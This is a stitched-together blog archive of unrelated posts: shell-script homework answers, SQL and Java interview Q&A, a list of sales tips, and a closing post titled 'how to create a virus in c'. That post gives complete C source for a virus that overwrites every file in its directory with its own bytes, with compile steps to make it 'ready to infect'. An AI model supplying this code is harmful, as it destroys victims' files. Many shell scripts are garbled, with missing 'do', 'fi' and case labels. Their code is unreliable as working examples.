
è time=`date +%H%M%S`

d1=`date +%d/%m/%y`

t1=`date +%I:%M:%S`

echo "date:"$d1

if [ $time -ge 000000 -a $time -lt 120000 ]

then

echo "time:"$t1" a.m"

else

echo "time:"$t1" p.m"

if [ $time -lt 120000 -a $time -gt 60000 ]

then

echo "GooD MorninG"

else

if [ $time -eq 120000 ]

then

echo "GooD NooN"

else

if [ $time -gt 120000 -a $time -lt 180000 ]

then

echo "GooD AfterNooN"

else

if [ $time -gt 180000 -a $time -lt 210000 ]

then

echo "GooD EveninG"

else

echo "GooD NighT"

11) Write a script to display the directory in the descending order of the size of each file.

è Echo” Enter Directory : ”

read dir

cd $dir

ls –Sl

12)

13) Write a script for generating a mark sheet after reading data from a file. File contains student roll no, name , marks of three subjects.

è tot=0

line=`cat stud.txt | wc -l`

i=1

echo "STD_ID NAME SUB1 SUB2 SUB3 TOTAL PERCENTAGE GRADE RESULT"

while [ $i -le $line ]

rollno=`head -$i stud.txt | tail +$i |cut -f1 -d","`

name=`head -$i stud.txt | tail +$i |cut -f2 -d","`

sub1=`head -$i stud.txt | tail +$i |cut -f3 -d","`

sub2=`head -$i stud.txt | tail +$i |cut -f4 -d","`

sub3=`head -$i stud.txt | tail +$i |cut -f5 -d","`

tot=`expr $sub1 \+ $sub2 \+ $sub3`

per=`expr $tot \/ 3`

if [ $sub1 -ge 35 -a $sub2 -ge 35 -a $sub3 -ge 35 ]

then

result="PASS"

if [ $per -ge 70 ]

then

grade="DISTINCTION"

elif [ $per -ge 60 ]

then

grade="FIRST CLASS"

elif [ $per -ge 50 ]

then

grade="SECOND CLASS"

else

grade="PASS CLASS"

else

result="FAIL"

grade=" --- "

i=`expr $i + 1`

echo "$rollno $name $sub1 $sub2 $sub3 $tot $per

$grade $result"

Done

14) Write a script to make following file and directory management operations menu based:

Display current directory

List directory

Make directory

Change directory

Copy a file

Rename a file

Delete a file

Edit a file

è echo " 1. Display current Directory"

echo " 2. List Directory"

echo " 3. Make directory "

echo " 4. Change directory "

echo " 5. Copy a file "

echo " 6. Rename a fIle "

echo " 7. Delete a file "

echo " 8. Edit a file "

echo " Enter Your Choice: "

read ch

case $ch in

pwd

;;

echo “Enter directory name to make : ”

read dir_name

mkdir $dir_name

;;

echo “Enter two file name to copy:”

read f_name1 f_name2

cp $f_name1 $f_name2

;;

echo “Enter file name to rename:”

read fname

mv $fname

;;

echo “Enter file name to delete : ”

read fname

rm $fname

;;

echo “Enter file name to edit : ”

read fname

vi $fname

;;

echo “Plz, Enter valid choice…”

;;

esac

15) Write a script which reads a text file and output the following

Count of character, words and lines.

File in reverse.

Frequency of particular word in the file.

Lower case letter in place of upper case letter.

è echo "Enter File Name"

read fname

echo "

1...Count character,words and lines

2...Reverse File

3...Found frequency of word

4...Convert upper to lower

5...Convert lower to upper"

echo "Enter Choice: "

read ch

case $ch in

echo “Total Character:”

wc -c $fname

echo “Total Words:”

wc -w $fname

echo “Total Lines:”

wc -l $fname

;;

rev $fname

;;

echo “Enter word to find: ”

read w

echo “Frequency:”

grep -c "$w" $fname

;;

echo “Enter Text:”

read text

echo $text | tr "[A-Z]" "[a-z]"

;;

echo “Enter Text:”

read text

echo $text | tr "[a-z]" "[A-Z]"

;;

echo “Plz, Enter valic choice”

;;

Esac

16) Write a shell script to check whether the named user is currently logged in or not.

è echo "Enter The User name :\c "

read name

>>temp

echo "The user \c " $name

(who | grep $name >> temp ) && echo " Is currently logged in " || echo "is not logged in "

17) Write a Script for Simple Database Management System Operation.

Database File Contains Following Fields.

EMP_NO

EMP_NAME

EMP_ADDRESS

EMP_AGE

EMP_GENDER

EMP_DESIGNATION

EMP_BASIC_SALARY

Provide Menu Driven Facility For

VIEW RECORD BASED ON QUERY

ADD RECORD

DELETE RECORD

MODIFY RECORD.

COUNT TOTAL NUMBER OF RECORDS

EXIT

è ch=1

while [ $ch -ne 0 ]

clear

echo "1. View record based on query"

echo "2. Add record"

echo "3. Delete record"

echo "4. Edit record"

echo "5. Count total records"

echo "0. Exit"

read ch

case $ch in

echo "Enter format to display(Separate Fields With Space) : ";

read format

field="";

for f in $format

case $f in

"NO")

field="$field,1";;

"NAME")

field="$field,2";;

"ADDRESS")

field="$field,3";;

"AGE")

field="$field,4";;

"GENDER")

field="$field,5";;

"DESIG")

field="$field,6";;

"BASIC_SALARY")

field="$field,7";;

esac

done

field="echo $field|cut -c2-"

echo "------------------------------------------------------------------"

cut -d'|' -f`echo $field` dbEMP.dat

echo "------------------------------------------------------------------"

read

;;

echo "Enter Employee Information : "

echo "Emp No. : \c"; read EMP_NO

echo "Emp Name : \c"; read EMP_NAME

echo "Address : \c"; read EMP_ADDRESS

echo "Age : \c"; read EMP_AGE

echo "Gender : \c"; read EMP_GENDER

echo "Designation : \c"; read EMP_DESIGNATION

echo "Basic Salary : \c"; read EMP_BASIC_SALARY

;;

echo "Enter Emp No. For Delete : \c"; read EMP_NO

del=`grep "^$EMP_NO" dbEMP.dat | wc -l`

grep -v "^$EMP_NO" dbEMP.dat > tmpEMP.dat

cat tmpEMP.dat > dbEMP.dat

rm tmpEMP.dat

echo "$del records Deleted"

sleep 3

;;

echo "Enter emp no. for modify : \c";

read MOD_EMP_NO

mod=`grep "^$MOD_EMP_NO" dbEMP.dat | wc -l`

if [ $mod -eq 0 ]

then

echo "Record not found!!!"

sleep 3;

else

echo "Enter new emp information : "

echo "Emp No. : \c"; read EMP_NO

echo "Emp Name : \c"; read EMP_NAME

echo "Address : \c"; read EMP_ADDRESS

echo "Age : \c"; read EMP_AGE

echo "Gender : \c"; read EMP_GENDER

echo "Designation : \c"; read EMP_DESIGNATION

echo "Basic Salary : \c"; read EMP_BASIC_SALARY

terminal=`tty`

exec < dbEMP.dat

while read rec

echo $rec | grep "^$MOD_EMP_NO" >/dev/null

if [ $? -ne 0 ]

then

echo $rec >> tmpEMP.dat

else

done

cat tmpEMP.dat > dbEMP.dat

rm tmpEMP.dat

echo "$mod Record(s) Modifieded..."

sleep 3;

;;

echo "`grep . dbEMP.dat | wc -l` Records Found..."

sleep 3

;;

esac

done

18) Write A Script To Perform Following String Operations Using Menu:

COMPARE TWO STRINGS.

JOIN TWO STRINGS.

FIND THE LENGTH OF A GIVEN STRING.

OCCURRENCE OF CHARACTER AND WORDS

REVERSE THE STRING.

è while true

echo "1 Compare two string"

echo "2 Join two string"

echo "3 Find length of given string"

echo "4 Occurrence of char. & words"

echo "5 Reverse the string"

echo "Enter your choice :"

read ch

case $ch in

echo "Enter String1:"

read str1

echo "Enter String2:"

read str2

if [ $str1 = $str2 ]

then

echo "String is equal"

else

echo "String is not equal"

;;

echo "Enter String1:"

read str1

echo "Enter String2:"

read str2

str3=$str1$str2

echo "Join String: $str3"

;;

length=0

echo "Enter String1:"

read str1

length=`expr $str1 | wc -c`

length=`expr $length - 1`

echo "Length: $length"

;;

echo "Enter String:"

read str

echo "Enter Word to find"

read word

echo $str | cat > str1.txt

grep -o $word str1.txt | cat > str2.txt

count=`grep -c $word str2.txt`

echo "Count:"$count

;;

echo "Enter String1:"

read str

len=`expr $str | wc -c`

len=`expr $len - 1`

while [ $len -gt 0 ]

rev=`expr $str | cut -c $len`

ans=$ans$rev

len=`expr $len - 1`

done

echo "Reverse String:" $ans

;;

echo "Please enter correct choice"

;;

esac

echo "Do u want to continue?[y/n]"

read ans

if [ $ans = n ]

then

exit

done

19) Write a script to calculate gross salary for any number of employees

Gross Salary =Basic + HRA + DA.

HRA=10% and DA= 15%.

è ch=1

while [ $ch -eq 1 ]

echo "Enter Basic Salary : "

read Basic

HRA=`echo "$Basic * 10 / 100"|bc`

DA=`echo "$Basic * 15 / 100"|bc`

Gross=`expr $Basic + $HRA + $DA`

if [ $Gross -le 10000 ]; then

PT=150

elif [ $Gross -le 20000 ]; then

PT=200

elif [ $Gross -le 30000 ]; then

PT=400

else

PT=550

echo "Gross Salary : $Gross"

echo "Professional Tax : $PT\n"

echo "Enter 1 For Calculate More..."; read ch

done

20) Write a script to check whether a given string is palindrome or not.

è echo "Enter String : "

read str

length=0

cnt=1

flag=0

length=`expr $str | wc -c`

length=`expr $length - 1`

temp=`expr $length / 2`

while test $cnt -le $temp

rev=`expr $str | cut -c $cnt`

ans=`expr $str | cut -c $length`

if [ $rev != $ans ]

then

flag=1

cnt=`expr $cnt + 1`

length=`expr $length - 1`

done

if [ $flag -eq 0 ]

then

echo "String is palindrome"

else

echo "String is not palindrome"

21) Write a script to check whether a given number is palindrome or not.

è clear

echo "Enter number :"

read number

rem=0

i=10

revnumber=0

for((;number>0;))

let revnumber=" revnumber * 10 "

let rem=" number % 10 "

let number=" number / 10 "

let revnumber=" revnumber + rem "

done

echo -e "\nReverse number :-\c"$revnumber

22) Write a script to display all words of a file in ascending order.

è echo -e "\n Enter file name : "

read fn

for i in `cat $fn`

echo $i >> f2.txt

done

sort f2.txt

rm f2.txt

23) Write a script to display all lines of a file in ascending order.

è echo " Enter File Name"

read fname

sort $fname

24) Write a script to display the last modified file.

è while true;

read -e -p "Enter Directory :" path || exit

[[ -d $path ]] && break

echo "Invalid path, Try Again!"

done

cd $path

ls * -dpltr | grep -v '/$' | tail -n1

cd $OLDPWD

25) Write a shell script to add the statement #include <stdio.h> at the beginning of every C source file in current directory containing printf and fprintf.

è while true;

read -e -p "Enter Directory: " path || exit

[[ -d $path ]] && break

echo "Invalid path! Try Again!"

done

path=${path%/}

myargs=`grep -l -e "printf" -e "fprintf" $path/*.c | xargs`

if [ $? -gt 1 ]; then

echo -n "No Matches were found. " && exit

temp=$(mktemp tmp.XXXXXXXXX)

for i in $myargs

echo "Do you want to add '#include <stdio.h>' to $i?"

read S

case $S in

Y|y|YES|Yes|yes|yeah)

sed '1i\

#include<stdio.h>' "$i" > "$temp"

mv "$temp" "$i"

;;

n|N|NO|no|No|nope)

echo "Alright! Next.."

shift

;;

echo "Invalid input."

;;

Esac

Done

if [ -z $myargs ]; then

echo "No Matches were found. Try another Directory"

else

clear

head -n5 $path/*.c | less

rm $temp

26) Write a script that behaves both in interactive and non-interactive mode. When no arguments are supplied, it picks up each C program from current directory and lists the first 10 lines. It then prompts for deletion of the file. If the user supplies arguments with the script, then it works on those files only.

è N=$#

ext=c

if test "$N" -eq "0"; then

while true;

read -e -p "Enter Path: " path || exit

[[ -d $path ]] && break

echo "Invalid Path, Try Again!"

done

path=${path%/}

for i in $path/*.C

if [ "$i" != $path/'*.C' ]; then

mv "$i" "${i/.C/}".c

clear

done

for i in $path/*."$ext"

if [ "$i" != "$path"/'*.c' ];

then

clear

echo "File is $i"

head -n10 "$i" | nl

sleep 1

rm -i "$i"

else

echo "There are no matching \"C\" files to Prompt in this directory."

sleep 2

clear=no

done

if test "$clear" != "no";

then

clear

echo "Remaining C files in the Directory..."

ls -1 $path/*.c

else

for i in $path/*.C

if [ "$i" != $path/'*.C' ];

then

mv "$i" "${i/.C/}".c

done

for i in $*

clear

i="${i/.c/}"

i="$(pwd)/$i.c"

if [ -f "$i" ];

then

echo "File name is $i"

head -n10 "$i" | nl

sleep 1

rm -i "$i"

else

echo "There is no such a file with name: \"$i\" in current working directoy"

sleep 3

done

clear

echo "Remaining C files in the Directory..."

ls -1 *.c

sleep 1

Class Script

v  write a shell script which receives any year from the keyboard and determines that year is leap year or not.

è echo "Enter year : "

read year

echo $year|grep "^[0-9]*$" >/dev/null

flg=0

if [ $? -eq 0 ]; then

                    if [ `echo "$year % 4" | bc` -eq 0 -a `echo "$year % 100" | bc` -eq 0 ]; then

                       echo "$year is leap year"

                               flg=1

fi

fi

          if [ $flg -eq 0 ]; then

                    echo "$year is not a leap year"

fi

v  Shell script which receives any no of file name as arguments, user should check whether it is a file or dir. If it is a file then  file name as well as the no of lines ,no of words and chars should be disp.(without WC command).

è for f in $*

do

if [ -f $f ]; then

               tmp=`tty`

               exec < $f

l=0

c=0

               ch=0

w=0

               while read line

do

                           l=`expr $l + 1`

                           c=`expr length "$line"`

                           ch=`expr $c + $ch`

                           echo $c $ch

                           for word in $line

do

                                       w=`expr $w + 1`

                           done

               done

               exec < $tmp

               echo "$f IS FILE WITH : "

               echo "   Lines : $l"

               echo "   Characters : $ch"

               echo "   Words : $w"

else

               echo "$f IS DIRECTORY. "

fi

done

v  Scripts that behaves both in interactive and non-interactive node. When no of arguments are supplied it picks up C program from current directory. Enlist 1st 10 lines. then prompts deletion of the  file. if the user supplies argument. With the scripts then it works on those file only.

è N=$#

ext=c

if test "$N" -eq "0"; then

            while true;

do

                                 read -e -p "Enter Path: " path || exit

                                         [[ -d $path ]] && break

                                        echo "Invalid Path, Try Again!"

                               done

                    path=${path%/}

                    for i in $path/*.C

do

                                if [ "$i" != $path/'*.C' ]; then

                                         mv "$i" "${i/.C/}".c

                                         clear

fi

                    done

                    for i in $path/*."$ext"

do

                                         if [ "$i" != "$path"/'*.c' ]; then

                                                   clear

                                                   echo "File is $i"

                                                   head -n10 "$i" | nl

                                                   sleep 1

                                                   rm -i "$i"

                                         else

                                                   echo "There are no matching \"C\" files to Prompt in this directory."

                                                    sleep 2

fi

                               done

                    if test "$clear" != "no"; then

                               clear

                               echo "Remaining C files in the Directory..."

                              ls -1 $path/*.c

fi

          else

                    for i in $path/*.C

do

                                         if [ "$i" != $path/'*.C' ]; then

                                                   mv "$i" "${i/.C/}".c

                                                   clear

fi

                               done

                    for i in $*

do

                               clear

                              i="${i/.c/}"

                               i="$(pwd)/$i.c"

                               if [ -f "$i" ]; then

                               echo "File name is $i"

                               head -n10 "$i" | nl

                               sleep 1

                               rm -i "$i"

                    else            # Error for non-Existent files.

                    echo "There is no such a file with name: \"$i\" in current working directoy"

                    sleep 3

fi

          done

          clear

          echo "Remaining C files in the Directory..."

          ls -1 *.c

          sleep 1

fi

v  Scripts that delete all leading and trailing spaces in all lines in a file.  Also remove blank lines from a file.

è Clear

echo "Enter file name:"

read f1

if test -f $f1

then

            terminal=`tty`

            exec<$f1

            while read line

do

                       if  test "$line"

                       then

                                 echo $line

fi

            done

fi

v  Write scripts to display all the words of a file as well as line in descending order.

è Clear

echo " Enter File Name"

read fname

sort $fname

OR

è echo  -e "\n enter File name "

read fn

for i in `cat $fn`

do

            echo $i >> f2.txt

done

sort f2.txt

rm f2.txt

SQL Questions and Answers

2012-03-05T21:36:00.002-08:00

1. To see current user name

Sql> show user;

2. Change SQL prompt name
SQL> set sqlprompt “Manimara > “
Manimara >
Manimara >

3. Switch to DOS prompt
SQL> host

4.      How do I eliminate the duplicate rows ?
SQL> delete from table_name where rowid not in (select max(rowid) from table group by duplicate_values_field_name);
or
SQL> delete duplicate_values_field_name dv from table_name ta where rowid <(select min(rowid) from table_name tb where ta.dv=tb.dv);
Example.
Table Emp
Empno Ename
101               Scott
102               Jiyo
103               Millor
104               Jiyo
105               Smith
delete ename from emp a where rowid < ( select min(rowid) from emp b where a.ename = b.ename);
The output like,
Empno Ename
101               Scott
102               Millor
103               Jiyo
104               Smith

5.      How do I display row number with records?
To achive this use rownum pseudocolumn with query, like SQL> SQL> select rownum, ename from emp;
Output:
1                    Scott
2                    Millor
3                    Jiyo
4                    Smith

6. Display the records between two range
select rownum, empno, ename from emp where rowid in
(select rowid from emp where rownum <=&upto
minus
select rowid from emp where rownum<&Start);
Enter value for upto: 10
Enter value for Start: 7

   ROWNUM     EMPNO ENAME
--------- --------- ----------
        1      7782 CLARK
        2      7788 SCOTT
        3      7839 KING
        4      7844 TURNER

7. I know the nvl function only allows the same data type(ie. number or char or date Nvl(comm, 0)), if commission is null then the text “Not Applicable” want to display, instead of blank space. How do I write the query?

SQL> select nvl(to_char(comm.),'NA') from emp;

Output :

NVL(TO_CHAR(COMM),'NA')
-----------------------
NA
300
500
NA
1400
NA
NA

8. Oracle cursor : Implicit & Explicit cursors
Oracle uses work areas called private SQL areas to create SQL statements.
PL/SQL construct to identify each and every work are used, is called as Cursor.
For SQL queries returning a single row, PL/SQL declares all implicit cursors.
For queries that returning more than one row, the cursor needs to be explicitly declared.

9. Explicit Cursor attributes
There are four cursor attributes used in Oracle
cursor_name%Found, cursor_name%NOTFOUND, cursor_name%ROWCOUNT, cursor_name%ISOPEN

10. Implicit Cursor attributes
Same as explicit cursor but prefixed by the word SQL

SQL%Found, SQL%NOTFOUND, SQL%ROWCOUNT, SQL%ISOPEN

Tips : 1. Here SQL%ISOPEN is false, because oracle automatically closed the implicit cursor after executing SQL statements.
: 2. All are Boolean attributes.

11. Find out nth highest salary from emp table
SELECT DISTINCT (a.sal) FROM EMP A WHERE &N = (SELECT COUNT (DISTINCT (b.sal)) FROM EMP B WHERE a.sal<=b.sal);

Enter value for n: 2
SAL
---------
3700

12. To view installed Oracle version information
SQL> select banner from v$version;

13. Display the number value in Words
SQL> select sal, (to_char(to_date(sal,'j'), 'jsp'))
from emp;
the output like,

      SAL (TO_CHAR(TO_DATE(SAL,'J'),'JSP'))
--------- -----------------------------------------------------
      800 eight hundred
     1600 one thousand six hundred
     1250 one thousand two hundred fifty
If you want to add some text like,
Rs. Three Thousand only.
SQL> select sal "Salary ",
(' Rs. '|| (to_char(to_date(sal,'j'), 'Jsp'))|| ' only.'))
"Sal in Words" from emp
/
Salary Sal in Words
------- ------------------------------------------------------
    800 Rs. Eight Hundred only.
   1600 Rs. One Thousand Six Hundred only.
   1250 Rs. One Thousand Two Hundred Fifty only.

14. Display Odd/ Even number of records
Odd number of records:
select * from emp where (rowid,1) in (select rowid, mod(rownum,2) from emp);
1
3
5
Even number of records:
select * from emp where (rowid,0) in (select rowid, mod(rownum,2) from emp)
2
4
6

15. Which date function returns number value?
months_between

16. Any three PL/SQL Exceptions?
Too_many_rows, No_Data_Found, Value_Error, Zero_Error, Others

17. What are PL/SQL Cursor Exceptions?
Cursor_Already_Open, Invalid_Cursor

18. Other way to replace query result null value with a text
SQL> Set NULL ‘N/A’
to reset SQL> Set NULL ‘’

19. What are the more common pseudo-columns?
SYSDATE, USER , UID, CURVAL, NEXTVAL, ROWID, ROWNUM

20. What is the output of SIGN function?
1 for positive value,
0 for Zero,
-1 for Negative value.

21. What is the maximum number of triggers, can apply to a single table?
12 triggers.

Core Java interview questions with answers

2012-03-05T21:34:00.000-08:00

1.How could Java classes direct program messages to the system console, but error messages, say to a file?

The class System has a variable out that represents the standard output, and the variable err that represents the standard error device. By default, they both point at the system console. This how the standard output could be re-directed:
Stream st = new Stream(new FileOutputStream(“output.txt”)); System.setErr(st); System.setOut(st);

2.How would you create a button with rounded edges?

There’s 2 ways. The first thing is to know that a JButton’s edges are drawn by a Border. so you can override the Button’s paintComponent(Graphics) method and draw a circle or rounded rectangle (whatever), and turn off the border. Or you can create a custom border that draws a circle or rounded rectangle around any component and set the button’s border to it.

3.Why should the implementation of any Swing callback (like a listener) execute quickly?

A: Because callbacks are invoked by the event dispatch thread which will be blocked processing other events for as long as your method takes to execute.

4. Question: How you can force the garbage collection?

Garbage collection automatic process and can’t be forced. You could request it by calling System.gc(). JVM does not guarantee that GC will be started immediately.

Garbage collection is one of the most important feature of Java, Garbage collection is also called automatic memory management as JVM automatically removes the unused variables/objects (value is null) from the memory. User program can’t directly free the object from memory, instead it is the job of the garbage collector to automatically free the objects that are no longer referenced by a program. Every class inherits finalize() method from java.lang.Object, the finalize() method is called by garbage collector when it determines no more references to the object exists. In Java, it is good idea to explicitly assign null into a variable when no more in use. I Java on calling System.gc() and Runtime.gc(), JVM tries to recycle the unused objects, but there is no guarantee when all the objects will garbage collected.

5. What’s the difference between constructors and normal methods?

Constructors must have the same name as the class and can not return a value. They are only called once while regular methods could be called many times and it can return a value or can be void.

6. When should the method invokeLater()be used?

This method is used to ensure that Swing components are updated through the event-dispatching thread.

7.Explain the usage of Java packages.

This is a way to organize files when a project consists of multiple modules. It also helps resolve naming conflicts when different packages have classes with the same names. Packages access level also allows you to protect data from being used by the non-authorized classes.

8.What are some advantages and disadvantages of Java Sockets?

Some advantages of Java Sockets:
Sockets are flexible and sufficient. Efficient socket based programming can be easily implemented for general communications. Sockets cause low network traffic. Unlike HTML forms and CGI scripts that generate and transfer whole web pages for each new request, Java applets can send only necessary updated information.

Some disadvantages of Java Sockets:
Security restrictions are sometimes overbearing because a Java applet running in a Web browser is only able to establish connections to the machine where it came from, and to nowhere else on the network Despite all of the useful and helpful Java features, Socket based communications allows only to send packets of raw data between applications. Both the client-side and server-side have to provide mechanisms to make the data useful in any way.

9.What is Collection API?

The Collection API is a set of classes and interfaces that support operation on collections of objects. These classes and interfaces are more flexible, more powerful, and more regular than the vectors, arrays, and hashtables if effectively replaces.
Example of classes: HashSet, HashMap, ArrayList, LinkedList, TreeSet and TreeMap.
Example of interfaces: Collection, Set, List and Map.

10.Explain the usage of the keyword transient?

Transient keyword indicates that the value of this member variable does not have to be serialized with the object. When the class will be de-serialized, this variable will be initialized with a default value of its data type (i.e. zero for integers).

11.What’s the difference between the methods sleep() and wait()

The code sleep(1000); puts thread aside for exactly one second. The code wait(1000), causes a wait of up to one second. A thread could stop waiting earlier if it receives the notify() or notifyAll() call. The method wait() is defined in the class Object and the method sleep() is defined in the class Thread.

12.Why would you use a synchronized block vs. synchronized method?

Synchronized blocks place locks for shorter periods than synchronized methods.

13.Can an inner class declared inside of a method access local variables of this method?
It’s possible if these variables are final.

14.Explain the user defined Exceptions?

User defined Exceptions are the separate Exception classes defined by the user for specific purposed. An user defined can created by simply sub-classing it to the Exception class. This allows custom exceptions to be generated (using throw) and caught in the same way as normal exceptions.

Example:

class myCustomException extends Exception {
/ The class simply has to exist to be an exception
}

15.Describe the wrapper classes in Java.

Wrapper class is wrapper around a primitive data type. An instance of a wrapper class contains, or wraps, a primitive value of the corresponding type.

Following table lists the primitive types and the corresponding wrapper classes:
Primitive Wrapper
boolean – java.lang.Boolean
byte – java.lang.Byte
char – java.lang.Character
double – java.lang.Double
float – java.lang.Float
int – java.lang.Integer
long – java.lang.Long
short – java.lang.Short
void – java.lang.Void

16.Which of the following are valid definitions of an application’s main( ) method?

a) public static void main();
b) public static void main( String args );
c) public static void main( String args[] );
d) public static void main( Graphics g );
e) public static boolean main( String args[] );

Amazing picture

2012-03-05T03:03:00.000-08:00

29 Ideas to Increase Sales and Profi

2012-03-04T21:17:00.001-08:00

Growing your business doesn't have to be difficult or expensive. These simple, cost-effective ideas are designed to help you increase your sales and profit, without draining your budget.

1. FOCUS ON HELPING, INSTEAD OF SELLING

You shouldn't be trying to force people into purchasing your product or service. You should find people who want your product or service and then focus on offering any helpful information to them so that they can make an informed decision.

2. TARGET

If you're trying to target everybody, then chances are, you're not targeting anybody. For example, if you're selling something that homeowners would want, as opposed to renters, then target homeowners. State your target clearly in all of your marketing materials.

3. STOP SPENDING MONEY ON INEFFECTIVE MARKETING

One great way to save money is to stop wasting it on marketing and advertising that isn't producing for you. Don't forget to track the number of responses you are getting from whatever method you use. If you're not reaching your goals, then your strategy needs to be revised.

4. NETWORK

Networking is a great way to get your message out to a large number of people, for free. Since each person knows about 250 other people, you can spread the word about your business pretty quickly. Go to your local Chamber of Commerce meetings. Shake hands at business functions. Exchange business cards with associates you see in stores, churches and community events.

5. SET GOALS AND DEADLINES

Collect your thoughts for a moment or two, and set goals and deadlines. These are vital to your business success. State your goals as specific numbers. (e.g. 10 new accounts, 11% increase in sales, etc.)

6. FOCUS ON BENEFITS NOT ON FEATURES

Spend your time focusing on how your prospects will benefit if they purchase your product or service. For example, if you're selling central air conditioning units, don't sell the power of the unit. Sell the benefit of comfort. Selling insurance? Don't sell the coverage amount. Sell the benefit of security.

7. WRITE TIPS ARTICLES

Newspapers and other publications are always looking for helpful tips articles that would be of benefit to their readers. Submit simple, problem/solution type articles related to your product or service. State the problem, and then share some insightful tips that can help to solve the problem. Always include information at the end of your articles so that people will know how to contact you to receive more information about your services.

8. BE PERSISTENT

Persistence is power when it comes to increasing your sales and profit. Far too many firms fail because they don't follow-up long enough to produce results. Most sales are made after the seventh or eighth contact--the sale is rarely made after just one contact.

9. SUBMIT PRESS RELEASES

Press releases are a very cost-effective way to get your message out to many people . . . for free. Submit your press releases to a wide variety of publications for immediate release. Keep in mind that the newspapers will usually only print releases that are of interest to their readers, rather than of a selling nature.

10. OFFER TO BE A SPEAKER

Business and civic organizations are always looking for speakers for their meetings and get together. Make yourself available by contacting these groups and offering to talk about your area of expertise.

11. GIVE A FREE DEMONSTRATION

If possible, give free demonstrations of your product or service to those that might be interested. Follow-up with these prospects in a timely manner to attempt sales conversion.

12. DISTRIBUTE SAMPLES

If possible, get samples into the hands of people who may be potential customers. People like to try before they buy.

13. DISTRIBUTE INFORMATIVE LITERATURE

Make sure that you get your product benefits, features and ideas into the hands of your prospects. If people don't know what you have, how can they make a decision to purchase it?

14. USE THE TELEPHONE

The telephone can be one of your most effective, and least expensive, sales tools. Call people who you would like to do business with. Ask for a few minutes of their time so you can show them how your services can help them save time, cut costs, increase sales, etc.

15. GENERATE REFERRALS

Referrals are a great way to generate new business. Don't just wait for people to refer you. Proactively ask for referrals from existing customers, acquaintances, family and friends. Don't forget to graciously thank anybody who refers your business to someone.

16. HAVE FUN

Frustration and stress will slow you down. You will succeed far better when you're doing something that you love.

17. TALK TO YOUR CUSTOMERS ABOUT THEM AND THEIR NEEDS

Most company publications, ads, letters and sales literature are filled with words, photographs and information that do nothing more than toot the company's horn. Talk about your customers needs instead. Rather than using the words, "I," "me," "my," use "you" and "your."

18. DEVELOP CUSTOMER-ORIENTED RELATIONSHIPS

Take an interest in your prospects and customers. Send them helpful articles that you think would interest them. If you know of an event that your prospect or customer will be celebrating, such as an anniversary or birthday, send them a card or small gift. They will appreciate your generosity and will think of you when they need your service, or if they know someone else who may need your service.

19. TELL YOUR PROSPECTS AND CUSTOMERS WHAT TO DO

Getting your message into the marketplace is important, but getting prospects/customers to respond is the real test. Tell your prospects exactly what you want them to do next (e.g. call for your free brochure, drop your reply card in the mail, etc.)

20. TAKE ADVANTAGE OF TESTIMONIALS

Whenever an existing or potential customer says something positive about your company, ask them if you could use their statement in your marketing materials. Your company's credibility will increase with the use of testimonials from happy customers.

21. MAKE IT EASY FOR PEOPLE TO DO BUSINESS WITH YOU

Your customer is not going to work for you. You have to work for them. Do anything you can to make doing business with your company easy and a pleasure.

22. CONTENT FIRST, FORM SECOND

When developing your sales materials and literature, spend less time worrying about the graphics and colors, and more time working on the content -- what's in it for your customers. As long as your message is enticing, black ink on white paper could work just as effectively as expensive four-color materials.

23. GIVE TO GET

There's an old saying, "You can get everything you want, by helping enough people get what they want." Listen carefully to your prospects and customers so you'll know exactly what they want and be generous in your offers. That way you'll be sure to reap the maximum rewards.

24. LEARN A NEW TECHNIQUE EVERY DAY

Read, go to seminars, listen to audio tapes. Continuously improving your sales and marketing skills will help you to increase your sales and profits.

25. ASSOCIATE WITH POSITIVE, SUCCESSFUL PEOPLE

Talking to and learning from people who are always striving for and meeting their goals, will help you commit to and achieve your own objectives.

26. BELIEVE IN THE PRODUCT OR SERVICE YOU SELL

If you don't believe in the quality and benefits of your product and service, your prospects won't either. Present the benefits of your product/service with confidence and enthusiasm.

27. FOCUS ON THE LIFETIME VALUE OF YOUR CUSTOMERS

Don't focus on generating one-time customers. Build a relationship so that a prospect becomes a repeat, lifetime customer.

28. LEARN FROM SOMEONE WHO HAS EXPERIENCE

Marketing is an important skill based on both knowledge and experience. The fastest way to gain that knowledge is to find someone who knows what works and has done it successfully. Ask about his or her specific experience in generating marketing results, as well as references, or testimonials. Reasonably priced marketing materials, like books, courses, workbooks, newsletters, audio cassettes, etc. can be excellent resources, that allow you to learn and apply effective marketing systems at your own pace.

29. OFFER QUALITY

Consumers always buy same brand from same retailer if retailer offer them quality products. Do not offer or try to push poor quality products for margin. Always offer and recommend good quality products to your consumer even if you are earning low margin.

how to create a virus in c

2012-03-04T21:11:00.001-08:00

This program is an example of how to create a virus in c.
This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them.
But the virus infected file is also capable of spreading the infection to another file and so on.
Here’s the source code of the virus program.

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(”*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(”Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(”DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(”TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

COMPILING METHOD:

BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile
2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect

BORLAND C++ 5.5 (32-BIT) :

1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect

HOW TO TEST:

1. Open new empty folder
2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
